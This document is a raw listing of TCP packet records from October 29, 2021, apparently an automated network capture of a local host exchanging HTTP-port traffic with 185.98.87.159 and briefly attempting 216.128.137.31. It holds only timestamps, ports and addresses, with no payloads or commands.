Oct 29, 2021 20:29:21.655766010 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.655785084 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.655806065 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.655823946 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.696398020 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.705081940 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.705113888 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.705127001 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.705138922 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.705168962 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.705204010 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.705243111 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.705260038 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.705267906 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.705276966 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.705317020 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.705317974 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.705337048 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.705372095 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.705398083 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.705416918 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.705435038 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.705461979 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.705516100 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.705545902 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.705564976 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.705580950 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.705593109 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.705599070 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.705616951 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.705631971 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.705650091 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.705666065 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.705679893 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.705696106 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.705760956 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.709323883 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.747248888 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.747271061 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.747395039 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.750302076 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.750375032 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.751082897 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.751105070 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.751121998 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.751138926 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.751168013 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.751197100 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.751215935 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.751225948 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.751251936 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.751257896 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.751271963 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.751327038 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.751332045 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.751384020 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.751427889 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.751427889 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.751446962 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.751487017 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.751497984 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.751516104 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.751532078 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.751548052 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.751559973 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.751564980 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.751585007 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.751586914 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.751627922 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.751667023 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.751682997 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.751699924 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.751715899 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.751754045 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.751796961 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.758893967 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.758919954 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.758936882 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.758950949 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.758984089 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.759038925 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.793371916 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.793401957 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.793493986 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.797914982 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.797945976 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.797959089 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.797971010 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.797988892 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.798019886 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.798022985 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.798032045 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.798048973 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.798068047 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.798084974 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.798101902 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.798147917 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.798152924 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.798182011 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.798199892 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.798258066 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.798294067 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.798331022 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.798487902 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.798506975 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.798584938 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.800936937 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.800962925 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.800983906 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.801012993 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.801019907 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.801028967 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.801054001 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.801059961 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.801073074 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.801212072 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.839502096 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.839529037 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.839639902 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.847069025 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.847170115 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.852269888 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.852288008 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.852319002 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.852336884 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.852354050 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.852370024 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.852401018 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.852431059 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.852448940 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.852464914 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.852488041 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.852520943 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.852539062 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.852544069 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.852555990 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.852574110 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.852591038 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.852600098 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.852610111 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.852624893 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.852648973 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.852667093 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.852670908 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.852699041 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.852716923 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.852749109 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.852803946 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.852811098 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.852828979 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.852844954 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.852874994 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.852886915 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.852905035 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.852935076 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.852952003 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.852962017 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.852967978 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.852996111 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.853037119 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.885823011 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.885850906 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.885977983 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.893660069 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.898819923 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.898849010 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.898861885 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.898880005 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.898897886 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.898915052 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.898931026 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.898947954 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.898963928 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.898963928 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.898982048 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.899000883 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.899018049 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.899034023 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.899039030 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.899053097 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.899070024 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.899080038 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.899085999 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.899105072 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.899121046 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.899125099 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.899164915 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.899442911 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.899462938 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.899496078 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.899513006 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.899540901 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.899569988 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.899909019 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:21.900034904 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.900091887 CEST	49749	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:21.953749895 CEST	80	49749	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:24.066469908 CEST	49756	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:24.119066000 CEST	80	49756	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:24.119580984 CEST	49756	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:24.119602919 CEST	49756	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:24.119606018 CEST	49756	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:24.198115110 CEST	80	49756	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:24.198208094 CEST	49756	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:24.198633909 CEST	49756	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:24.251365900 CEST	80	49756	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:24.254492998 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:24.308181047 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:24.308600903 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:24.308689117 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:24.308945894 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:24.363749027 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:24.363784075 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:24.385056973 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:24.385153055 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:24.385637999 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:24.404583931 CEST	49758	80	192.168.2.7	216.128.137.31
Oct 29, 2021 20:29:24.440247059 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:27.540688038 CEST	49758	80	192.168.2.7	216.128.137.31
Oct 29, 2021 20:29:33.635006905 CEST	49758	80	192.168.2.7	216.128.137.31
Oct 29, 2021 20:29:40.929264069 CEST	49762	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:40.980642080 CEST	80	49762	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:40.980756044 CEST	49762	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:40.980958939 CEST	49762	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:40.980983019 CEST	49762	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.059622049 CEST	80	49762	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.060915947 CEST	49762	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.061208963 CEST	49762	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.092663050 CEST	49763	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.112420082 CEST	80	49762	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.144682884 CEST	80	49763	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.144788027 CEST	49763	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.144978046 CEST	49763	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.145674944 CEST	49763	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.197444916 CEST	80	49763	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.197482109 CEST	80	49763	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.223545074 CEST	80	49763	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.223751068 CEST	49763	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.224085093 CEST	49763	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.258508921 CEST	49764	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.275930882 CEST	80	49763	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.311228037 CEST	80	49764	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.311372042 CEST	49764	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.311482906 CEST	49764	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.311513901 CEST	49764	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.363984108 CEST	80	49764	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.389851093 CEST	80	49764	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.392491102 CEST	49764	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.392555952 CEST	49764	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.425082922 CEST	49765	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.445024014 CEST	80	49764	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.478415966 CEST	80	49765	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.481873989 CEST	49765	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.482006073 CEST	49765	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.482027054 CEST	49765	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.563502073 CEST	80	49765	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.563637972 CEST	49765	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.563754082 CEST	49765	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.597090006 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.616868019 CEST	80	49765	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.649658918 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.649818897 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.649980068 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.650047064 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.733266115 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.733289957 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.733304977 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.733321905 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.733338118 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.733352900 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.733372927 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.733429909 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.733773947 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.733792067 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.733808041 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.733824015 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.733848095 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.733877897 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.785907030 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.785948038 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.785984993 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.786022902 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.786035061 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.786102057 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.786125898 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.786139011 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.786174059 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.786196947 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.786210060 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.786245108 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.786292076 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.786293983 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.786330938 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.786348104 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.786395073 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.786432981 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.786443949 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.786467075 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.786501884 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.786536932 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.786549091 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.786571026 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.786582947 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.786608934 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.786642075 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.786652088 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.786691904 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.787029028 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.839193106 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.839236021 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.839274883 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.839314938 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.839354038 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.839391947 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.839436054 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.839437962 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.839468002 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.839476109 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.839513063 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.839525938 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.839551926 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.839590073 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.839601994 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.839627028 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.839664936 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.839703083 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.839709997 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.839741945 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.839749098 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.839785099 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.839822054 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:41.839829922 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:41.839862108 CEST	80	49766	185.98.87.159	192.168.2.7
